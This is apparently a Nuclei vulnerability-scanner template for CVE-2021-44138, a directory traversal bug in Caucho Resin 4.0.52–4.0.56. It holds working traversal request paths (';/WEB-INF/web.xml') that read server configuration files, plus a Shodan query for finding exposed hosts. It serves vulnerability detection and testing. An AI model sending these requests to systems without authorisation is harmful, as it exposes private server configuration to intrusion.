id: CVE-2021-44138

info:
  name: Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal
  author: carrot2
  severity: high
  description: |
    There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-44138
    - https://github.com/maybe-why-not/reponame/issues/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44138
    cwe-id: CWE-22
  metadata:
    verified: "true"
    shodan-query: html:"Resin"
  tags: cve,cve2021,resin,caucho,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/;/WEB-INF/web.xml"
      - "{{BaseURL}}/resin-doc/;/WEB-INF/resin-web.xml"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<web-app"
          - "</web-app>"
        part: body
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "application/xml"
        condition: or

      - type: status
        status:
          - 200